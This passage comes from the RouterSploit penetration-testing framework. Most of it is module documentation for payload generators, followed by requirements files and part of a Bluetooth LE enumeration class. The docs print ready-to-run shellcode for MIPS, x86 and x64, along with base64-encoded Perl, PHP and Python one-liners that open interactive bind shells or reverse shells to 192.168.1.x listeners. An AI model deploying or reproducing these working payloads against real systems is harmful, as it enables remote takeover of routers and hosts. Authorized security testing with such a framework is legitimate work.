"\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01" "\xa0\x68\x27\x01\xcd\x68\x04\x24\x0e\x10\xe1\x01\xae\x68\x25" "\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff" "\xec\x02\x10\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5" "\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25\x24" "\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02\x10\x20\x25" "\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01" "\x0c\xaf\xa2\xff\xff\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4" "\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24" "\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e" "\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4" "\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24" "\x02\x0f\xab\x01\x01\x01\x0c" ) ``` routersploit-master/docs/modules/payloads/mipsbe/reverse_tcp.md000066400000000000000000000027471400750623600254750ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell for MIPSBE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/mipsbe/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Module generates mipsbe reverse shell tcp payload ## Scenarios ``` rsf > use payloads/mipsbe/reverse_tcp rsf (MIPSBE Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (MIPSBE Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (MIPSBE Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x28\x04\xff\xff\x24\x02\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11" "\x11\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80" "\x20\x27\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01" "\x80\x20\x27\x01\x80\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57" "\x01\x09\x09\x0c\x30\x44\xff\xff\x24\x02\x0f\xc9\x01\x09\x09" "\x0c\x24\x02\x0f\xc9\x01\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5" "\x10\xe1\xaf\xa5\xff\xf8\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf" "\xa5\xff\xfc\x23\xa5\xff\xf8\x24\x0c\xff\xef\x01\x80\x30\x27" "\x24\x02\x10\x4a\x01\x09\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62" "\x69\xaf\xa8\xff\xec\x3c\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8" "\xff\xf0\x28\x07\xff\xff\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23" "\xa4\xff\xec\x23\xa8\xff\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8" "\x27\xbd\xff\xec\x28\x06\xff\xff\x24\x02\x0f\xab\x00\x90\x93" "\x4c" ) ``` routersploit-master/docs/modules/payloads/mipsle/000077500000000000000000000000001400750623600226325ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/mipsle/bind_tcp.md000066400000000000000000000030271400750623600247400ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell for MIPSLE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/mipsle/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates mipsle bind shell tcp payload ## Scenarios ``` rsf > use payloads/mipsle/bind_tcp rsf (MIPSLE Bind TCP) > set rport 4321 [+] rport => 4321 rsf (MIPSLE Bind TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\xff\xff" "\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04" "\x68\xcd\x01\xfd\xff\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01" "\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0" "\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff" "\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02\x01" "\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02" "\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01" "\x01\xff\xff\xa2\xaf\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff" "\xa4\x8f\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28" "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e" "\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff" "\xa4\x27\xf8\xff\xa4\xaf\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab" "\x0f\x02\x24\x0c\x01\x01\x01" ) ``` routersploit-master/docs/modules/payloads/mipsle/reverse_tcp.md000066400000000000000000000027471400750623600255070ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell for MIPSLE architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/mipsle/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Module generates mipsle reverse shell tcp payload ## Scenarios ``` rsf > use payloads/mipsle/reverse_tcp rsf (MIPSLE Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (MIPSLE Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (MIPSLE Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04" "\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20" "\x80\x01\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27" "\x20\x80\x01\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24" "\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09" "\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x10\xe1\x05\x3c\x02\x00" "\xa5\x34\xf8\xff\xa5\xaf\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc" "\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01" "\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08" "\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff" "\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec" "\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23" "\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09" "\x01" ) ``` routersploit-master/docs/modules/payloads/perl/000077500000000000000000000000001400750623600223035ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/perl/bind_tcp.md000066400000000000000000000014141400750623600244070ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using perl. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/perl/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates perl tcp bind shell payload ## Scenarios ``` rsf > use payloads/perl/bind_tcp rsf (Perl Bind TCP) > set rport 4321 [+] rport => 4321 rsf (Perl Bind TCP) > run [*] Running module... [*] Generating payload use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs=')); ``` routersploit-master/docs/modules/payloads/perl/reverse_tcp.md000066400000000000000000000015721400750623600251530ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using perl. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/perl/reverse_tcp` 3. Do: `set lhost 192.168.1.3` 3. Do: `set lport 4321` 4. Do: `run` 5. Module generates perl tcp reverse shell payload ## Scenarios ``` rsf > use payloads/perl/reverse_tcp rsf (Perl Reverse TCP) > set lhost 192.168.1.3 [+] lhost => 192.168.1.3 rsf (Perl Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (Perl Reverse TCP) > run [*] Running module... [*] Generating payload use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow==')) ``` routersploit-master/docs/modules/payloads/php/000077500000000000000000000000001400750623600221305ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/php/bind_tcp.md000066400000000000000000000015151400750623600242360ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using php. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/php/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates php tcp bind shell payload ## Scenarios ``` rsf > use payloads/php/bind_tcp rsf (PHP Bind TCP) > set rport 4321 [+] rport => 4321 rsf (PHP Bind TCP) > run [*] Running module... [*] Generating payload eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ==')); ``` routersploit-master/docs/modules/payloads/php/reverse_tcp.md000066400000000000000000000013631400750623600247760ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using php. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/php/reverse_udp` 3. Do: `set lhost 192.168.1.4` 3. Do: `set lport 4321` 4. Do: `run` 5. Module generates php tcp reverse shell payload ## Scenarios ``` rsf > use payloads/php/reverse_tcp rsf (PHP Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (PHP Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (PHP Reverse TCP) > run [*] Running module... [*] Generating payload eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ==')); ``` routersploit-master/docs/modules/payloads/python/000077500000000000000000000000001400750623600226625ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/python/bind_tcp.md000066400000000000000000000015301400750623600247650ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell by using python. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/python/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates python tcp bind shell payload ## Scenarios ``` rsf > use payloads/python/bind_tcp rsf (Python Bind TCP) > set rport 4321 [+] rport => 4321 rsf (Python Bind TCP) > run [*] Running module... [*] Generating payload exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64')) ``` routersploit-master/docs/modules/payloads/python/bind_udp.md000066400000000000000000000015401400750623600247700ustar00rootroot00000000000000## Description Module generates payload that creates interactive udp bind shell by using python. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/python/bind_udp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates python udp bind shell payload ## Scenarios ``` rsf > use payloads/python/bind_udp rsf (Python Bind UDP) > set rport 4321 [+] rport => 4321 rsf (Python Bind UDP) > run [*] Running module... [*] Generating payload exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64')) ``` routersploit-master/docs/modules/payloads/python/reverse_tcp.md000066400000000000000000000016051400750623600255270ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell by using python. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/python/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 3. Do: `set lport 4321` 4. Do: `run` 5. Module generates python tcp reverse shell payload ## Scenarios ``` rsf > use payloads/python/reverse_tcp rsf (Python Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Python Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (Python Reverse TCP) > run [*] Running module... [*] Generating payload exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64')) ``` routersploit-master/docs/modules/payloads/python/reverse_udp.md000066400000000000000000000016151400750623600255320ustar00rootroot00000000000000## Description Module generates payload that creates interactive udp reverse shell by using python. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/python/reverse_udp` 3. Do: `set lhost 192.168.1.4` 3. Do: `set lport 4321` 4. Do: `run` 5. Module generates python udp reverse shell payload ## Scenarios ``` rsf > use payloads/python/reverse_udp rsf (Python Reverse UDP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (Python Reverse UDP) > set lport 4321 [+] lport => 4321 rsf (Python Reverse UDP) > run [*] Running module... [*] Generating payload exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64')) ``` routersploit-master/docs/modules/payloads/x64/000077500000000000000000000000001400750623600217625ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/x64/bind_tcp.md000066400000000000000000000015671400750623600240770ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell for X64 architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/x64/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates x64 bind shell tcp payload ## Scenarios ``` rsf > use payloads/x64/bind_tcp rsf (X64 Bind TCP) > set rport 4321 [+] rport => 4321 rsf (X64 Bind TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" "\xc7\x04\x24\x02\x00\x10\xe1\x48\x89\xe6\x6a\x10\x5a\x6a\x31" "\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f" "\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" ) ``` routersploit-master/docs/modules/payloads/x64/reverse_tcp.md000066400000000000000000000016531400750623600246320ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell for X64 architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/x64/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Module generates x64 reverse shell tcp payload ## Scenarios ``` rsf > use payloads/x64/reverse_tcp rsf (X64 Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (X64 Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (X64 Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48" "\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10" "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" ) ``` routersploit-master/docs/modules/payloads/x86/000077500000000000000000000000001400750623600217665ustar00rootroot00000000000000routersploit-master/docs/modules/payloads/x86/bind_tcp.md000066400000000000000000000015271400750623600240770ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp bind shell for X86 architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/x86/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates x86 bind shell tcp payload ## Scenarios ``` rsf > use payloads/x86/bind_tcp rsf (X86 Bind TCP) > set rport 4321 [+] rport => 4321 rsf (X86 Bind TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x5b\x5e\x52\x68\x02\x00\x10\xe1\x6a\x10\x51\x50\x89\xe1\x6a" "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" "\x0b\xcd\x80" ) ``` routersploit-master/docs/modules/payloads/x86/reverse_tcp.md000066400000000000000000000016231400750623600246330ustar00rootroot00000000000000## Description Module generates payload that creates interactive tcp reverse shell for X86 architecture. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/x86/reverse_tcp` 3. Do: `set lhost 192.168.1.4` 4. Do: `set lport 4321` 5. Module generates x86 reverse shell tcp payload ## Scenarios ``` rsf > use payloads/x86/reverse_tcp rsf (X86 Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (X86 Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (X86 Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68" "\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ) ``` routersploit-master/requirements-dev.txt000066400000000000000000000002321400750623600211620ustar00rootroot00000000000000future requests==2.21.0 paramiko pysnmp==4.4.6 pycryptodome pytest==4.4.0 pytest-forked pytest-xdist flake8 git+git://github.com/threat9/threat9-test-bed routersploit-master/requirements.txt000066400000000000000000000000741400750623600204120ustar00rootroot00000000000000future requests==2.21.0 paramiko pysnmp==4.4.6 pycryptodome routersploit-master/routersploit/000077500000000000000000000000001400750623600177005ustar00rootroot00000000000000routersploit-master/routersploit/__init__.py000066400000000000000000000000001400750623600217770ustar00rootroot00000000000000routersploit-master/routersploit/core/000077500000000000000000000000001400750623600206305ustar00rootroot00000000000000routersploit-master/routersploit/core/__init__.py000066400000000000000000000000001400750623600227270ustar00rootroot00000000000000routersploit-master/routersploit/core/bluetooth/000077500000000000000000000000001400750623600226355ustar00rootroot00000000000000routersploit-master/routersploit/core/bluetooth/__init__.py000066400000000000000000000000001400750623600247340ustar00rootroot00000000000000routersploit-master/routersploit/core/bluetooth/btle/000077500000000000000000000000001400750623600235635ustar00rootroot00000000000000routersploit-master/routersploit/core/bluetooth/btle/__init__.py000066400000000000000000000002551400750623600256760ustar00rootroot00000000000000from .btle_device import ( Device ) from .btle_scanner import ( BTLEScanner, ScanDelegate ) __all__ = [ "Device", "BTLEScanner", "ScanDelegate", ] routersploit-master/routersploit/core/bluetooth/btle/btle_device.py000066400000000000000000000301131400750623600264000ustar00rootroot00000000000000import struct from bluepy.btle import ( Peripheral, ScanEntry, AssignedNumbers ) from routersploit.core.exploit.printer import ( print_table, print_success, print_status, print_error, color_blue, color_green, color_red ) from routersploit.core.exploit.utils import ( lookup_vendor ) class Device(ScanEntry): """ Single discovered Bluetooth Low Energy device """ def __init__(self, addr, iface): ScanEntry.__init__(self, addr, iface) self.vendor = None self.data = [] def _update(self, resp): ScanEntry._update(self, resp) if self.addrType == "random": self.vendor = "None (Random MAC address)" else: self.vendor = lookup_vendor(self.addr) if self.scanData: self.data = self._get_data(self.getScanData()) def print_info(self): headers = (color_blue("{} ({} dBm)").format(self.addr, self.rssi), "") if self.connectable: allow_connection = color_green(str(self.connectable)) else: allow_connection = color_red(str(self.connectable)) data = [ ("Vendor", self.vendor), ("Allow Connections", allow_connection), ] for d in self.data: data.append((d[0], d[1])) print_table(headers, *data, max_column_length=70, extra_fill=3) def print_services(self): headers = ("Handles", "Service > Characteristics", "Properties", "Data") services = self.enumerate_services() if services: print_table(headers, *services, max_column_length=70, extra_fill=3) def enumerate_services(self): print_status("Starting enumerating {} ({} dBm) ...".format(self.addr, self.rssi)) try: dev = Peripheral(self, self.addrType) services = sorted(dev.services, key=lambda s: s.hndStart) data = [] for service in services: if service.hndStart == service.hndEnd: continue data.append([ "{:04x} -> {:04x}".format(service.hndStart, service.hndEnd), self._get_svc_description(service), "", "", ]) for _, char in enumerate(service.getCharacteristics()): desc = self._get_char_description(char) props = char.propertiesToString() hnd = char.getHandle() value = self._get_char(char, props) data.append([ "{:04x}".format(hnd), desc, props, value ]) dev.disconnect() return data except Exception as err: print_error(err) try: dev.disconnect() except Exception as err: print_error(err) return None def write(self, characteristic, data): try: dev = Peripheral(self, self.addrType) services = sorted(dev.services, key=lambda s: s.hndStart) print_status("Searching for characteristic {}".format(characteristic)) char = None for service in services: if char is not None: break for _, c in enumerate(service.getCharacteristics()): if str(c.uuid) == characteristic: char = c break if char: if "WRITE" in char.propertiesToString(): print_success("Sending {} bytes...".format(len(data))) wwrflag = False if "NO RESPONSE" in char.propertiesToString(): wwrflag = True try: char.write(data, wwrflag) print_success("Data sent") except Exception as err: print_error("Error: {}".format(err)) else: print_error("Not writable") dev.disconnect() except Exception as err: print_error(err) try: dev.disconnect() except Exception: pass return None def _get_data(self, scan_data): data = [] for (tag, desc, val) in scan_data: if desc == "Flags": data.append(("Flags", self._get_flags(val))) elif tag in [8, 9]: try: data.append((desc, val)) except UnicodeEncodeError: data.append((desc, repr(val))) else: data.append((desc, val)) return data def _get_flags(self, data): bits = [] flags = int(data, 16) if self._is_bit_set(flags, 0): bits.append("LE Limited Discoverable") if self._is_bit_set(flags, 1): bits.append("LE General Discoverable") if self._is_bit_set(flags, 2): bits.append("BR/EDR") if self._is_bit_set(flags, 3): bits.append("LE + BR/EDR Controller Mode") if self._is_bit_set(flags, 4): bits.append("LE + BR/EDR Host Mode") return ", ".join(bits) def _is_bit_set(self, byteval, idx): return ((byteval & (1 << idx)) != 0) def _get_svc_description(self, service): uuid_name = service.uuid.getCommonName() if uuid_name and uuid_name != str(service.uuid): return "{} ({})".format(color_green(uuid_name), service.uuid) return str(service.uuid) def _get_char_description(self, char): char_name = char.uuid.getCommonName() if char_name and char_name != str(char.uuid): return " {} ({})".format(color_green(char_name), char.uuid) return " {}".format(char.uuid) def _get_char(self, char, props): string = "" if "READ" in props and "INDICATE" not in props: try: data = char.read() if char.uuid == AssignedNumbers.appearance: string = self._get_appearance(data) else: try: string = color_blue(repr(data.decode("utf-8"))) except Exception: string = repr(data) except Exception: pass return string def _get_appearance(self, data): appearance = { 0: "Unknown", 64: "Generic Phone", 128: "Generic Computer", 192: "Generic Watch", 193: "Watch: Sports Watch", 256: "Generic Clock", 320: "Generic Display", 384: "Generic Remote Control", 448: "Generic Eye-glasses", 512: "Generic Tag", 576: "Generic Keyring", 640: "Generic Media Player", 704: "Generic Barcode Scanner", 768: "Generic Thermometer", 769: "Thermometer: Ear", 832: "Generic Heart rate Sensor", 833: "Heart Rate Sensor: Heart Rate Belt", 896: "Generic Blood Pressure", 897: "Blood Pressure: Arm", 898: "Blood Pressure: Wrist", 960: "Human Interface Device (HID)", 961: "Keyboard", 962: "Mouse", 963: "Joystick", 964: "Gamepad", 965: "Digitizer Tablet", 966: "Card Reader", 967: "Digital Pen", 968: "Barcode Scanner", 1024: "Generic Glucose Meter", 1088: "Generic: Running Walking Sensor", 1089: "Running Walking Sensor: In-Shoe", 1090: "Running Walking Sensor: On-Shoe", 1091: "Running Walking Sensor: On-Hip", 1152: "Generic: Cycling", 1153: "Cycling: Cycling Computer", 1154: "Cycling: Speed Sensor", 1155: "Cycling: Cadence Sensor", 1156: "Cycling: Power Sensor", 1157: "Cycling: Speed and Cadence Sensor", 1216: "Generic Control Device", 1217: "Switch", 1218: "Multi-switch", 1219: "Button", 1220: "Slider", 1221: "Rotary", 1222: "Touch-panel", 1280: "Generic Network Device", 1281: "Access Point", 1344: "Generic Sensor", 1345: "Motion Sensor", 1346: "Air Quality Sensor", 1347: "Temperature Sensor", 1348: "Humidity Sensor", 1349: "Leak Sensor", 1350: "Smoke Sensor", 1351: "Occupancy Sensor", 1352: "Contact Sensor", 1353: "Carbon Monoxide Sensor", 1354: "Carbon Dioxide Sensor", 1355: "Ambient Light Sensor", 1356: "Energy Sensor", 1357: "Color Light Sensor", 1358: "Rain Sensor", 1359: "Fire Sensor", 1360: "Wind Sensor", 1361: "Proximity Sensor", 1362: "Multi-Sensor", 1408: "Generic Light Fixtures", 1409: "Wall Light", 1410: "Ceiling Light", 1411: "Floor Light", 1412: "Cabinet Light", 1413: "Desk Light", 1414: "Troffer Light", 1415: "Pendant Light", 1416: "In-ground Light", 1417: "Flood Light", 1418: "Underwater Light", 1419: "Bollard with Light", 1420: "Pathway Light", 1421: "Garden Light", 1422: "Pole-top Light", 1423: "Spotlight", 1424: "Linear Light", 1425: "Street 